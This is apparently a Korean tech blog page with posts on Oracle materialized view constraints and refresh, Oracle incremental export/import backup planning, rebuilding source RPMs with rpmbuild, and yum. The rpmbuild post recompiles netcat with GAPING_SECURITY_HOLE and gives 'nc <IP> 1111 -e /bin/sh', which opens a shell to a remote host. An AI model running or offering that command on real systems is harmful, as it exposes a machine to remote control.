      3  refresh fast on commit
      4  as
      5  select count(*), substr(key, 1, 1),
      6         sum(decode(trim(key), 'aa', bonus, 0)) as s1,
      7         sum(decode(trim(key), 'ab', bonus, 0)) as s2,
      8         sum(decode(trim(key), 'ac', bonus, 0)) as s3,
      9         count(bonus)
     10  from test_v
     11* group by substr(key,1,1);
 
        from test_v
           *

        ERROR at line 10:
        ORA-12054: cannot set the ON COMMIT refresh attribute for the materialized view
 
   - 그런데, 이와 같이 ORA-12054 에러가 발생하면서 생성이 되지 않는다.

 
◎ Solution Description
  
   ※ GROUP BY 절에 의해서 grouping 대상이 되는 컬럼(예:key)에 대하여
      COUNT(<column_name>) 함수가 반드시 기술되어야 한다.
  
   ※ 이는 single table에 대하여 ON COMMIT refresh 특성을 갖는 
      materialized view를 생성 시에 반드시 고려해야 할 제약사항 중 하나이다.
 
   ※ For M.V.'s with Single-Table Aggregates, there are some conditions 
      on refresh that need to be satisfied -
 
        Single Table Aggregates:
        =======================
        a) They can only have a single table.
        b) The SELECT list must contain all GROUP BY columns.
        c) Expressions are allowed in the GROUP BY and SELECT clauses provided they are the same.
        d) They cannot have a WHERE clause.
        e) They cannot have a MIN or MAX function.
        f) A materialized view log must exist on the table and must contain all columns
           referenced in the materialized view. 
           The log must have been created with the INCLUDING NEW VALUES clause.
        g) If AVG(expr) or SUM(expr) is specified, you must have COUNT(expr).
        h) If VARIANCE(expr) or STDDEV(expr) is specified, you must have COUNT(expr) and SUM(expr).
 
   ※ 위의 materialized view 생성 문장이 실패한 이유는 위의 제약 조건 중 g)번을 위배했기 때문이다. 
  
   ※ 즉, SUM(expr)에 대한 각각의 COUNT(expr) statement가 빠져 있기 때문이다.
      각 SUM(expr)에 대하여 다음과 같이 모든 COUNT 함수가 추가되어야 한다.
 
   ※ 위와 같은 제약 조건에 따라서 사용자의 materialized view 생성 문장은 다음과 같이 수정되어야 한다.
 
        SQL> create materialized view mv1
           2 build immediate
           3 refresh fast on commit
           4 as
           5 select count(*), substr(key,1,1),
           6        sum(decode(trim(key),'aa',bonus,0)) as s1,
           7        count(decode(trim(key),'aa',bonus,0)) as c1,
           8        sum(decode(trim(key),'ab',bonus,0)) as s2,
           9        count(decode(trim(key),'ab',bonus,0))as c2,
          10        sum(decode(trim(key),'ac',bonus,0)) as s3,
          11        count(decode(trim(key),'ac',bonus,0)) as c3
          12 from test_v
          13 group by substr(key,1,1);
 
 
 
15. Materialized View 에서 Order By 절 사용하기 (8.1.7 이상)
 
◎ Materialized view를 생성하거나, INSERT-SELECT문에서, 보다 나은 성능을 위해 ORDER BY절을
   사용할 수 있게 되었다.  이렇게 하여 table이나 materialized view에 data가 insert될 때,
   지정된 order로 insert할 수 있어, insert된 order와 같은 순서로 select할 때 성능을 향상시킬 수 있다.
 
◎ 이렇게 처음 materialized view를 만들 때 ordering을 하면 data가 physical하게 clustering된다. 
 
◎ 만약 order된 column에 대해 index가 생성되어 있을 경우, 그 index를 사용하여 materialized view의
   data를 access하면, physical clustering되어 있으므로 I/O time이 현저히 줄어든다.
 
◎ Materialized view에서 ORDER BY절은 처음 CREATE시에만 사용할 수 있으며 full refresh 나
   incremental refresh 때에는 사용할 수 없다.
 
◎ ORDER BY절은 materialized view의 definition에 포함되지 않으므로, 이로 인해 Oracle이 materialized
   view를 detect하는 데에 변화는 없다.  또한 query rewrite도 ORDER BY절에 의해 영향을 받지 않는다.
 
◎ 사용 예제
  SQL> create materialized view sales_ordered_date
    2  tablespace sales_ts
    3   -- enable query rewrite
    4  as
    5  select c.channel_desc, p.product_id, p.item_desc, s.customer_id, d.date_id, d.date_desc, s.units
    6    from channels c, products p, days2 d, sales s
    7   where c.channel_id = s.channel_id
    8     and p.product_id = s.product_id
    9     and d.date_id    = s.date_id
   10  order by d.date_id;  -- date_id 순으로 Sorting을 한다.
  
  SQL> alter materialized view sales_ordered_date enable query rewrite;
 
 
16. Materialized View를 Refresh 하는 방법
 
◎ Refresh를 해야하는 원인은 여러가지 이다. 예를 들어, Base Table 이 Truncate 되었고,
   Fast Refresh가 아니라면, 사용자가 수동으로 Refresh를 해야 한다.
 
 
◎ Refresh를 수행한 Time 정보는 SYS.SNAP$ and SYS.MLOG$ 에 저장이 된다.
 
 
◎ DBMS_MVIEW.REFRESH() Package 사용
 
  ※ Refresh는 해당 MView가 어떤 속성을 갖느냐에 따라 다르다.
 
  SQL> -- 해당 MView를 Fast Refresh를 하는 방법
  SQL> dbms_mview.refresh('BOL_LEDGER_MV', 'F');
 
  SQL> -- 해당 MView를 COMPLETE Refresh를 하는 방법
  SQL> dbms_mview.refresh('BOL_LEDGER_MV', 'C');
 
  SQL> -- 해당 MView를 일반적으로 Refresh를 하는 방법
  SQL> dbms_mview.refresh('BOL_LEDGER_MV');
 
 
 
17. Materialized View와 관련된 시스템 딕셔너리
 
◎ 시스템 뷰
 
  ※ DBA_MVIEWS
     - Materialized View에 대한 전체적인 정보를 보여준다.
 
  ※ DBA_MVIEW_LOGS
     - Materialized View Log에 대한 전체적인 정보를 보여준다.
 
  ※ DBA_REGISTERED_SNAPSHOTS
     - Materialized View에 대한 시스템 정보를 보여준다.
     - 예를 들면, current_snapshots Column에는 마지막 Refresh 된 시간을 보여준다.
 
  ※ DBA_SNAPSHOT_LOGS
     - Materialized View Log에 대한 시스템 정보를 보여준다.
 
 
◎ 예제..
 
  ※ MASTER Table ORDERS에 대한 Materialized View d의 정보를 조회해본다.
  
    SQL> select log_owner, master, log_table
           from dba_snapshot_logs
          where master = 'ORDERS';
    
    LOG_OWNER             MASTER          LOG_TABLE
    --------------------  -------------   ---------------
    SCOTT                 ORDERS          MLOG$_ORDERS
    SCOTT                 ORDERS          MLOG$_ORDERS
 
 
  ※ MASTER Table ORDERS에 대한 Materialized View Location의 정보를 조회해본다.
 
    SQL> select owner, name, snapshot_site 
           from dba_registered_snapshots
               ,dba_snapshot_logs 
          where dba_registered_snapshots.snapshot_id = dba_snapshot_logs.snapshot_id 
            and dba_snapshot_logs.master='ORDERS';
    
    OWNER       NAME          SNAPSHOT_SITE
    ----------  ------------  ---------------
    SCOTT       ORDERS        V804.WORLD
    SCOTT       SNAP_ORDERS   NEGRIL.WORLD
   
  ※ MASTER Table FND_USER에 대한 가장 최근 Refresh Time을 조회해 본다.
 
    SQL> select r.name, r.snapshot_site
               ,to_char(l.current_snapshots,'YYYY-MM-DD, HH:MI:SS') as refresh_date
           from  dba_registered_snapshots  r
                ,dba_snapshot_logs          l 
          where r.snapshot_id = l.snapshot_id
            and l.master='FND_USER';

    NAME            SNAPSHOT_SITE       REFRESH_DATE
    --------------- ------------------- ---------------------
    FND_USER_MV     DEV                 2005-03-31, 10:13:28
 
 
18. 진단을 위한 DBMS_MVIEW.EXPLAIN_REWRITE / EXPLAIN_MVIEW 사용법 (9.0.2 이상)
 
◎ Oracle 9i 이상에서는 DBMS_MVIEW에서는 diagnosing Query Rewrite 문제를 해결하기 위해
   다음의 두가지 유용한 PL/SQL을 제공한다.:
 
  ※ EXPLAIN_REWRITE : Summary Materialized View를 사용할 때 왜 Query Rewrite가 안되는지 도움을 준다.
 
  ※ EXPLAIN_MVIEW   : Summary Materialized View가 Query Rewrite 기능이 가능한지 알려준다. 
 
 
◎ DBMS_MVIEW.EXPLAIN_REWRITE procedure 
 
  ※ 이 procedure는 임의의 Query가 Rewite가 되는지 아닌지를 판단하는데 도움을 준다.
     즉, 이 procedure를 수행하면 결과로 Rewrite가 되는지 아닌지와, 안되면 왜 안되는지
     이유를 포함하는 Output을 발생하게 된다.
 
  ※ EXPLAIN_REWRITE을 수행하는데에는 두가지 방식이 있다.
     하나는 output을 REWRITE_TABLE 에 저장을 하는 방식과, 다른 하나는 VARRAY에 저장을
     하는 방식이다.
 
  ※ EXPLAIN_REWRITE Procedure의 구조는 다음과 같다.
 
     1) REWRITE_TABLE 을 사용하는 EXPLAIN_REWRITE Procedure
 
        PROCEDURE EXPLAIN_REWRITE (QUERY          IN       VARCHAR2, 
                                   MV             IN       VARCHAR2 := NULL,
                                   STATEMENT_ID   IN       VARCHAR2 := NULL); 
     ---
     2) VARRAY 를 사용하는 EXPLAIN_REWRITE Procedure
        PROCEDURE EXPLAIN_REWRITE (QUERY          IN       VARCHAR2, 
                                   MV             IN       VARCHAR2 := NULL, 
                                   MSG_ARRAY      IN OUT   SYS.RewriteArrayType); 

  ※ EXPLAIN_REWRITE Procedure의 QUERY Parameter의 길이는 Max 32767 characters 이다.
 
  ※ DBMS_MVIEW.EXPLAIN_REWRITE 를 어떻게 사용하는지 예제는 다음의 File에 들어 있다.
    
     (9.2.0)$ORACLE_HOME/rdbms/demo/smxrw.sql 
 
  ※ 예제 1) REWRITE_TABLE 을 사용하는 예제
     0) 준비사항으로 먼저 REWRITE_TABLE 을 만들어야 한다.
 
        SQL> (9.2.0)$ORACLE_HOME/rdbms/admin/utlxrw.sql -- 이 SQL을 수행하면 테이블이 생성된다.
 
     1) 다음과 같은 MV를 가정하자.
 
        create materialized view mvj 
        enable query rewrite as
        select dim1.dk1, dim2.dk2
          from fact, dim1, dim2
         where dim1.dk1 = fact.dk1
           and dim2.dk2 = fact.dk2; 
 
     2) 그리고 원하는 Query가 다음과 같다고 가정하자.
 
        select dim1.dk1, dim2.dk2
        from fact, dim1, dim2, dim3
        where dim1.dk1 = fact.dk1
          and dim2.dk2 = fact.dk2
          and dim2.dk2 = 1; 
 
     3) 이제 위 Query가 Query Rewrite가 되는지 아닌지 판단해 보자.
         
        SQL> truncate table rewrite_table;
        
        SQL> declare 
           2   query varchar2(256) := 'select dim1.dk1, dim2.dk2 
           3                             from fact, dim1, dim2, dim3 
           4                            where dim1.dk1 = fact.dk1 
           5                              and dim2.dk2 = fact.dk2 
           6                              and dim2.dk2 = 1';
           7 begin
           8   dbms_mview.explain_rewrite(query);
           9 end; 
        SQL> / 
         
        SQL> select message from rewrite_table order by sequence;
        
        ** Here is example output: 
        MESSAGE
        -----------------------------------------------------------------
        QSM-01033: query rewritten with materialized view, MVJ
        
        ** Here is example output from another case where rewrite did not work: 
        MESSAGE
        ---------------------------------------------------------------------------
        QSM-01094: outer-join filter not found in materialized join view
        QSM-01105: no primary key or row id in MV, MVJO, is found for table, DIM1 
         
         
  ※ 예제 2) VARRAY를 사용하는 예제
 
     1) 원하는 MV와 원하는 Query는 위와 동일하다고 가정하자
 
     2) 다음과 같은 Procedure를 만들자.
 
        $ vi test.sql

        set serveroutput on
        
        declare
          Rewrite_Array sys.rewriteArrayType := SYS.RewriteArrayType();
          querytxt varchar2(1000) :=
          'select dim1.dk1, dim2.dk2
           from fact, dim1, dim2, dim3
           where dim1.dk1 = fact.dk1
             and dim2.dk2 = fact.dk2
             and dim2.dk2 = 1';
          msg_no number;
          i      number;
        begin
          dbms_snapshot.explain_rewrite(querytxt, NULL, Rewrite_Array);
          msg_no := rewrite_array.count;
          for i in 1..msg_no
          loop
            dbms_output.put_line('MV Name: ' ||Rewrite_Array(i).mv_name);
            dbms_output.put_line('Query  : ' ||Rewrite_Array(i).query_text);
            dbms_output.put_line('Message: ' ||Rewrite_Array(i).message);
          end loop;
        end;
        /                     
         
        ** Here is output for our example query and MV:
        
        MV Name:
        Query  : select dim1.dk1, dim2.dk2    from fact, dim1, dim2, dim3    where
        dim1.dk1 = fact.dk1      and dim2.dk2 = fact.dk2      and dim2.dk2 = 1
        Message: QSM-01033: query rewritten with materialized view, MVJO1 
         
     
◎ DBMS_MVIEW.EXPLAIN_MVIEW procedure 
 
  ※ 이 procedure는 임의의 Materialized View 를 분석하여 MV_CAPABILITIES_TABLE Table에
     분석 결과를 저장한다.
 
  ※ MV_CAPABILITIES_TABLE 테이블을 만들기 위해서는 다음을 수행하면 된다.
 
     SQL> (9.2.0)$ORACLE_HOME/rdbms/admin/utlxmv.sql 
 
  ※ 사용 방법
 
     1) 원하는 MV와 원하는 Query는 위와 동일하다고 가정하자
 
     2) 다음의 작업을 수행하라
 
        SQL> truncate table mv_capabilities_table; 
        SQL> execute dbms_mview.explain_mview('MVJ');
 
        SQL> select capability_name, possible from mv_capabilities_table
           2
where mvname='MVJ' and capability_name like 'REWRITE%';
 
        CAPABILITY_NAME                P 
        ------------------------------ - 
        REWRITE                        Y 
        REWRITE_FULL_TEXT_MATCH        Y 
        REWRITE_PARTIAL_TEXT_MATCH     Y 
        REWRITE_GENERAL                Y
        REWRITE_PCT                    N 
  ※ 자세한 사용 예제는 다음의 File에 잘 나와 있다.
 
     (9.2.0)$ORACLE_HOME/rdbms/demo/smxmv1.sql
 
 
 
19. Nested Materialized Views
 
◎ Nested Materialized Views 란 MView안에 MView가 존재하는 형태이다.
   따라서 Nested Materialized Views는 매우 복잡한 형태를 지니게 된다.
 
 
◎ 하지만 Nested Materialized Views 의 장점에도 불구하고 Fast Refresh에 대한 문제가 존재한다.
 
 
◎ 다음은 Nested Materialized Views에서 Fast Refresh가 가능하게 하는 방법이다.
 
   a) Master Table에 대한 MView Log를 Rowid 사용해서 만든다.
   b) Nested MView는 single-table aggregate 와 join view View로 구성이 되어야 한다.
   c) single-table aggregate materialized view는 materialized join view 보다 먼저 와야 한다.
 
◎ 만약 Nested Materialized Views를 만들다 실패할 경우 다음의 에러가 발생한다.
 
   Error: ORA-12053  (ORA-12053)
   Text:  This is not a valid nested materialized view  

◎ Nested Materialized Views의 사용 예제 
 
  ※ 다음의 Table을 고려해 보자
     SQL> desc emp 
     Name                                      Null?    Type 
     ----------------------------------------- -------- -------------------------- 
     EMPNO                                     NOT NULL NUMBER(4) 
     ENAME                                              VARCHAR2(10) 
     JOB                                                VARCHAR2(9) 
     MGR                                                NUMBER(4) 
     HIREDATE                                           DATE 
     SAL                                                NUMBER(7,2) 
     COMM                                               NUMBER(7,2) 
     DEPTNO                                             NUMBER(2) 
 
     SQL> desc dept 
     Name                                      Null?    Type 
     ----------------------------------------- -------- -------------------------- 
     DEPTNO                                    NOT NULL NUMBER(2) 
     DNAME                                              VARCHAR2(14) 
     LOC                                                VARCHAR2(13)
 
  ※ 위 두 테이블을 이용해서 MView를 만들어 보자
     
     SQL> create materialized view log on emp with primary key, rowid
 
     SQL> create materialized view log on dept with primary key, rowid
 
     SQL> -- create the first MV as join MV, Rowid columns were added to enable 
     SQL> -- fast refresh on a join view... 
     SQL> create materialized view empmv1 
          refresh fast on demand 
          with primary key 
          as
          select e.empno,d.deptno,e.ename,d.dname, e.rowid erowid,d.rowid drowid 
          from emp e, dept d 
          where e.deptno = d.deptno ;
  
     SQL> alter table empmv1 add primary key(empno); 
 
     SQL> -- create materialized view log for the empmv1: 
     sql> create materialized view log on empmv1 with primary key, 
          rowid(deptno) including new values;
 
 
     SQL> -- now create the nested materialized view empmv2: 
     SQL> 
create materialized view empmv2 
           refresh fast on demand 
           with primary key 
           as select empno, deptno  
           from empmv1
-- MView에서 가져온다.
    
     from empmv1 
           * 
     ERROR at line 5: 
     ORA-12053: this is not a valid nested materialized view 

     SQL> -- we are missing one rule here , empmv2 has to be a single-table aggregate.. 
     SQL> create materialized view empmv2 
          refresh fast on demand 
          with primary key 
          as select empno,deptno , count(*)   -- Unique 성을 보장하기 위해
          from empmv1 
          group by empno,deptno ;
 
◎ Oracle 9.2 부터는 single-table aggregates 와 join views 를 같이 사용할 수 있게 되었다
 
  ※ 사용 예제 (아래의 예제는 Oracle 9.2 이하에서는 ora-12053에러가 발생한다.)
 
      SQL> -- create demo tables in Scott schema in 9.2 database and run the following ..  
      SQL> alter table emp add primary key(empno); 
       
      SQL> alter table dept add primary key(deptno); 
       
      SQL> create materialized view log on dept with primary key, 
           rowid(dname) including new values;
 
       
      SQL> create materialized view log on emp with primary key,
           rowid(deptno, sal) including new values; 
       
      SQL>
create materialized view deptmv1
           refresh fast on demand
           with primary key
           as select empno,deptno , count(sal) cnt_sal  from emp
           group by empno,deptno ;
       
      SQL> alter table deptmv1 add primary key(empno); 
       
      SQL> create materialized view log on deptmv1 with primary key,
           rowid(deptno, cnt_sal) including new values ;
       
      SQL> 
create materialized view deptmv2
            refresh fast on demand
            with primary key
            as
            select empno,cnt_sal,dname,e.rowid erowid,d.rowid drowid
              from deptmv1 e   -- Mview가 먼저와야 한다.
                  ,dept d   
             where e.deptno = d.deptno ;
       
◎ Nested Materialized Views 를 사용할 때의 제약사항
  
   1. Nested materialized views 를 Refresh하고자 한다면 순서적으로 Refresh 되어야 한다.
      예를 들어, 먼저 Empmv1을 수행하고 다음에 Empmv2을 수행해야 한다.
   2. ON COMMIT에 대한 Fast refresh는 single-table aggregates 와 join views 를
      같이 사용할 경우 지원되지 않는다.
반응형

'ORACLE > SQL' 카테고리의 다른 글

&lt;25가지 SQL작성법&gt;  (0) 2008.02.19
oracle에서 hint의 사용  (0) 2008.02.14
유용한 오라클 명령어  (0) 2008.01.28
유용한 DB 쿼리  (0) 2007.11.17
demobld.sql  (0) 2007.09.17
Posted by [PineTree]
ORACLE/Backup & Recovery2008. 2. 12. 18:42
반응형
No. 11528

INCREMENTAL, CUMULATIVE, COMPLETE EXPORT & IMPORT
=================================================


Purpose
-------
'Incremental', 'Cumulative', 'Complete' Export가 무엇이며, 어떻게
효과적인 backup 전략으로 사용할 수 있는지를 알아본다.


Explanation
-----------

1. Incremental, Cumulative export의 계획 수립

'Complete' export는 db 내의 모든 정보를 추출하여 기록해 준다. 따라서,
매일 밤에 complete export를 수행한다면 하루치 이상의 data가 유실될
염려는 전혀 없게 된다.

그러나, complete export는 많은 시간이 소요될 뿐 아니라 많은 space도
필요로 하게 된다. 최종 export 이후에 변경된 정보들에 대해서만 자주 export할 수 있는 방법으로 incremental, cumulative export가 있는데 이를
이용하면 시간과 space를 절약할 수도 있다.

incremental export는 마지막으로 수행된 incremental, cumulative, complete
export 이후에 변경된 모든 table들을 export한다. cumulative export는
마지막으로 수행된 cumulative, complete export 이후에 변경된 모든 table
들을 export한다.

만약 db가 손상되거나 완전히 유실되었다고 가정한다면,

   1) 가장 최근의 complete export를 import하고
   2) 위의 complete export 이후에 생성된 cumulative export들을 차례로
      import한 후
   3) 위에서 적용한 마지막 cumulative export 이후의 모든 incremental
      export를 적용함으로써

마지막 export 시점까지의 복구가 가능해진다.

다음과 같은 export 실행 계획을 수립한다고 가정해 본다.

   . 매일 밤 incremental export를 수행한다.
   . 매주 cumulative export를 수행한다.
   . 매월 complete export를 수행한다.

이에 따른 한달 계획은 다음과 같을 수 있다.

     일       월       화       수       목        금      토
    +--------+--------+--------+--------+--------+--------+--------+
    |        | Full   | Inc    | Inc    | Inc    | Cum    |        |
    |        |        |        |        |        |        |        |
    |        |      1 |      2 |      3 |      4 |      5 |      6 |
    +--------+--------+--------+--------+--------+--------+--------+
    |        | Inc    | Inc    | Inc    | Inc    | Cum    |        |
    |        |        |        |        |        |        |        |
    |      7 |      8 |      9 |     10 |     11 |     12 |     13 |
    +--------+--------+--------+--------+--------+--------+--------+
    |        | Inc    | Inc    | Inc    | Inc    | Cum    |        |
    |        |        |        |        |        |        |        |
    |     14 |     15 |     16 |     17 |     18 |     19 |     20 |
    +--------+--------+--------+--------+--------+--------+--------+
    |        | Inc    | Inc    | Inc    | Inc    | Cum    |        |
    |        |        |        |        |        |        |        |
    |     21 |     22 |     23 |     24 |     25 |     26 |     27 |
    +--------+--------+--------+--------+--------+--------+--------+

매주 금요일에 cumulative export를 받고 나서는 그 주의 incremental은
더 이상 필요가 없으므로 삭제를 해도 된다. 마찬가지로 월 초에 export를
받은 후에는 지난 달의 incremental, cumulative export는 삭제해도 된다.

만약 오늘이 17일이고 db가 완전히 유실되었다고 가정해 보자. 다음과 같은
절차로 복구할 수 있을 것이다.

   1) db를 새로 생성한다.

   2) system table들에서 가장 최근의 data들을 가져오기 위해서, 가장
      최근의 export file을 이용하여 SYSTEM import(INCTYPE=SYSTEM)을
      수행한다.
      (예에서는 16일자 incremental export)

   3) 가장 최근의 complete export file을 이용하여 RESTORE import
      (INCTYPE=RESTORE)를 수행한다.(예에서는 1일자 complete export)

   4) 위의 complete export 이후의 모든 cumulative export file을 이용하여
      RESTORE import를 수행한다.(예에서는 5일, 12일의 cumulative export)

   5) 마지막 cumulative export 이후의 모든 incremental export file을
      이용하여 RESTORE import를 수행한다.(예에서는 15일, 16일의
      incremental export)

가장 최근의 export file은 복구 작업의 시작과(INCTYPE=SYSTEM) 마지막에
(INCTYPE=RESTORE) 각각 다른 INCTYPE으로 import된다는 사실에 주목한다.


2. incremental, cumulative export 시 export되는 정보들

   1) 모든 system object들 (tablespace, rollback segment, user privilege
      등을 포함, temporary segment는 제외)

   2) drop된 object에 대한 정보

   3) 마지막 export 이후에 생성된 cluster, table, view, sysnonym 등

   4) 변경(update, insert, delete 등)이 발생한 모든 table들


3. COMMAND SYNTAX

export :
   exp username/password inctype=complete
   or exp username/password inctype=cumulative
   or exp username/password inctype=incremental

import :

   imp username/password inctype=system

   가장 최근의 export file에서 system data를 import할 때 사용한다.
  (실제 user data를 restore import하기 전에 반드시 수행해야 함)

   or imp username/password inctype=restore


Example
-------

위의 일정표에 의거하여 수행한 예이다.

    일자     command
    ---------------------------------------------------------------
    1  월    exp system/manager inctype=complete    file=base.dmp
    2  화    exp system/manager inctype=incremental file=inc1
    3  수    exp system/manager inctype=incremental file=inc2
    4  목    exp system/manager inctype=incremental file=inc3
    5  금    exp system/manager inctype=comulative  file=cum1
             (inc1, inc2, inc3는 이 시점에 삭제해도 무방하다.)

    8  월    exp system/manager inctype=incremental file=inc4
    9  화    exp system/manager inctype=incremental file=inc5
    10 수    exp system/manager inctype=incremental file=inc6
    11 목    exp system/manager inctype=incremental file=inc7
    12 금    exp system/manager inctype=comulative  file=cum2
             (inc4, inc5, inc6, inc7은 이시점에 삭제해도 무방)

    15 월    exp system/manager inctype=incremental file=inc8
    16 화    exp system/manager inctype=incremental file=inc9
    17 수    db 유실됨. 다음과 같이 복구함.

             imp system/manager inctype=system  full=y file=base.dmp
             imp system/manager inctype=restore full=y file=cum1
             imp system/manager inctype=restore full=y file=cum2
             imp system/manager inctype=restore full=y file=inc8
             imp system/manager inctype=restore full=y file=inc9


Reference Documents
-------------------
Oracle Utilities Guide


    
from otn.oracle.co.kr
반응형
Posted by [PineTree]
OS/LINUX2008. 2. 11. 23:25
반응형

rpmbuild ;

 

src.rpm 파일을 사용하여 자신에 시스템에 맞는 rpm 을 배포판에 맞는 위치 (/usr/src/redhat/RPMS)에 생성한다.

 

SRPM 은 http://isoredirect.centos.org/centos/4/os/SRPMS/ 와 같은 곳에서 구할 수 있다.

 

 

 

[STEP1] SRC RPM 설치하기.

 

 

rpmbuild --rebuild nc-1.10-22.src.rpm

 

 

nc-1.10-22.src.rpm(을)를 설치합니다
경고: buildcentos 사용자가 존재하지 않습니다 - root를 이용합니다
경고: buildcentos 그룹이 존재하지 않습니다 - root를 이용합니다
실행 중(%prep): /bin/sh -e /var/tmp/rpm-tmp.46458
+ umask 022
+ cd /usr/src/redhat/BUILD
.

.

.

+ cd nc
+ DOCDIR=/var/tmp/nc-root/usr/share/doc/nc-1.10
+ export DOCDIR
+ rm -rf /var/tmp/nc-root/usr/share/doc/nc-1.10
+ /bin/mkdir -p /var/tmp/nc-root/usr/share/doc/nc-1.10
+ cp -pr README Changelog scripts /var/tmp/nc-root/usr/share/doc/nc-1.10
+ exit 0
Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
Requires: /bin/sh libc.so.6 libc.so.6(GLIBC_2.0) libc.so.6(GLIBC_2.2)
파일 처리 중: nc-debuginfo-1.10-22
Requires(rpmlib): rpmlib(CompressedFileNames) <= 3.0.4-1 rpmlib(PayloadFilesHavePrefix) <= 4.0-1
Checking for unpackaged file(s): /usr/lib/rpm/check-files /var/tmp/nc-root
작성: /usr/src/redhat/RPMS/i386/nc-1.10-22.i386.rpm
작성: /usr/src/redhat/RPMS/i386/nc-debuginfo-1.10-22.i386.rpm
실행 중(%clean): /bin/sh -e /var/tmp/rpm-tmp.77747
+ umask 022
+ cd /usr/src/redhat/BUILD
+ cd nc
+ rm -rf /var/tmp/nc-root
+ exit 0
실행 중(--clean): /bin/sh -e /var/tmp/rpm-tmp.77747
+ umask 022
+ cd /usr/src/redhat/BUILD
+ rm -rf nc
+ exit 0

 

아래 명령으로 src.rpm 을 풀어보면, 원본 소스와 패치 파일들을 볼 수 있다.


# rpm2cpio nc-1.10-22.src.rpm | cpio -idumv

 

 

 

 

[STEP2] SRC RPM 수정하여 설치하기. (소스파일)

 

 

 

# nc 192.232.117.82 1111 -e /bin/sh

 

다음과 같이 '-e' 옵션을 사용하기 위해서는 별도의 컴파일 옵션이 필요하다.

 

-----------------------------------------------------------------------------------------
 -e command
             Execute the specified command, using data from the network for stdin, and sending stdout and stderr to the network.  This option is only present if nc was compiled with the GAPING_SECURITY_HOLE compile time option,  since it allows users to make arbitrary programs available to anyone on the network.
            
컴파일시 GAPING_SECURITY_HOLE 옵션이 추가가 되어야 한다.

-----------------------------------------------------------------------------------------

 

1) 최신의 netcat 소스를 얻는다.

 

CentOS SRC RPM : http://isoredirect.centos.org/centos/4/os/SRPMS/nc-1.10-22.src.rpm
(Netcat 원본소스 : http://www.vulnwatch.org/netcat/nc110.tgz)

 

 

[TIP]

- 배포판에서 최신의 src.rpm 파일이 없을 경우, 직접소스 파일을 이용하여 rpm 패키지를 만들 필요가 있다.

- src.rpm 뿐만 아니라. 모든 배포 소스파일(.tar.gz, .tar.bz2) 에는 '서비스명.spec' (ex. httpd.spec) 파일이 들어있다. 이 spec 파일을 사용하여 시스템에 맞는 rpm 을 만들수 있다.

- 아래와 같이 추출한다.

# tar -ztvf apr-util-0.9.7.tar.gz | grep spec

# tar -zxvf apr-util-0.9.7.tar.gz apr-util-0.9.7/apr-util.spec

 


2) 다운받아 src.rpm 패키지를 해제한다.

# rpm2cpio nc-1.10-22.src.rpm | cpio -idumv

 

 

3) 패키지 생성에 사용된는 spec 파일과 원본소스들을 적당한 위치로 옮긴다.
- 여기서는 'redhat'을 사용하여 경로가 /usr/src/redhat 이 된다.


# mv nc.spec /usr/src/redhat/SPECS/
# mv ./* /usr/src/redhat/SOURCES/ <-- 원본소스로 만들경우 소스파일을 그대로(압축된상태)옮겨 놓으면 된다.

 


2-3) 은 아래 명령으로 자동으로 실행된다.

# rpm -Uvh nc-1.10-22.src.rpm

 


4) SPEC 파일 수정

- 우리는 '-e' 옵션을 사용하고 싶기 때문에 spec 파일을 수정할 필요가 있다.
- make 시 확장 옵션이 사용할 수 있도록 XFLAGS 를 입력한다.

 

---------------- /usr/src/redhat/SPECS/nc.spec ----------------------------------------

make CFLAGS="$RPM_OPT_FLAGS" XFLAGS="-DLINUX -DGAPING_SECURITY_HOLE" generic

-----------------------------------------------------------------------------------------

 


5) RPM 패키지를 제작한다.
#
rpmbuild -ba -v /usr/src/redhat/SPECS/nc.spec

 

 

TIP) SRC RPM 작성

# rpmbuild -bs -v /usr/src/redhat/SPECS/nc.spec

작성: /usr/src/redhat/SRPMS/nc-1.10-22.src.rpm

 


6) RPM 을 설치한다.
#
rpm -Uvh ../RPMS/i386/nc-1.10-22.i386.rpm

 

 

 

 

 

 

 

참고문서 : http://www.pcworld.idg.com.au/index.php/id;1013924616;fp;2;fpid;1039317049

 

 

Compiling software with Rpmbuild

 

20/06/2003 07:54:13

 

The performance and space-saving advantages of compiling software from source are regularly championed in this column. Many users, however, find it much easier to install pre-compiled applications distributed in the RPM or DEB formats. In this column, we instruct you in using a tool that combines the performance advantages of compiling software from source with the ease of installation offered by pre-compiled binaries.

 

Have you ever downloaded a Linux application from the Internet and noticed files of the type .src.rpm as available downloads? These files are called source RPMs and contain the source code to the application, as well as instructions on how to turn it into a binary RPM. The rpmbuild tool can use these instructions, known as a spec file, to automatically compile the application and produce a binary RPM for you.

 

Any distribution based on RPM should already have rpmbuild installed. You can check this by typing into a shell:

 

$ rpmbuild

 

which will display if rpmbuild is installed: 

rpmbuild: no spec files given for build

 

To compile a .src.rpm with rpmbuild, use the --rebuild flag as shown below. You may need to be the root user to build an RPM with rpmbuild. To compile a large application with rpmbuild you will potentially need a large amount of free disk space, up to 1GB, available under /usr/src. Note that compiling a large application with rpmbuild may take up to a couple of hours, depending on your CPU speed.

 

$ rpmbuild --rebuild program.src.rpm

 

The process of compiling the application and building an RPM is entirely automated from start to finish and will be displayed on the screen. Often when rebuilding a .src.rpm, you will encounter what is known as a missing dependency. These usually take the form of a missing system file. To compile a .src.rpm, many development packages, identifiable by the presence of the string ‘-devel’ in the filename, may be required. To list the dependencies of a .src.rpm, type the following in a shell:

 

$ rpm -qp --requires program.src.rpm

 

Before attempting to rebuild a .src.rpm, first verify that all of these dependencies have been installed. At the conclusion of the rpmbuild process the location of the freshly compiled binary RPMs generated by rpmbuild will be displayed. Under Red Hat Linux, this location is /usr/src/redhat/. Often two or more RPMs will be generated from a single .src.rpm file. You can install these RPMs as you would any other, by typing as root: $ rpm -ivh program.rpm

 

 

For Search - rpmbuild

반응형

'OS > LINUX' 카테고리의 다른 글

REDHAT 9 설치후 기본 셋팅  (0) 2008.02.27
redhat 9.0 에서 한글이 깨질때..조치  (0) 2008.02.27
yum  (0) 2008.02.11
[LINUX] bonding  (0) 2008.02.11
iptables 추가  (0) 2007.11.21
Posted by [PineTree]
OS/LINUX2008. 2. 11. 23:19

yum

반응형

 

Yellow dog Updater, Modified

 

 

0. 설치

 

YUM down : http://linux.duke.edu/projects/yum/download.ptml

 

1) 서버에 설치된 파이썬 버전확인

- yum 은 파이썬을 사용하기 때문에 파이썬 버전에 맞는 yum 을 구해야 한다.

 

2) 설치

- rpm 패키지의 경우 rpm -Uvh 를 사용하여 설치하거나

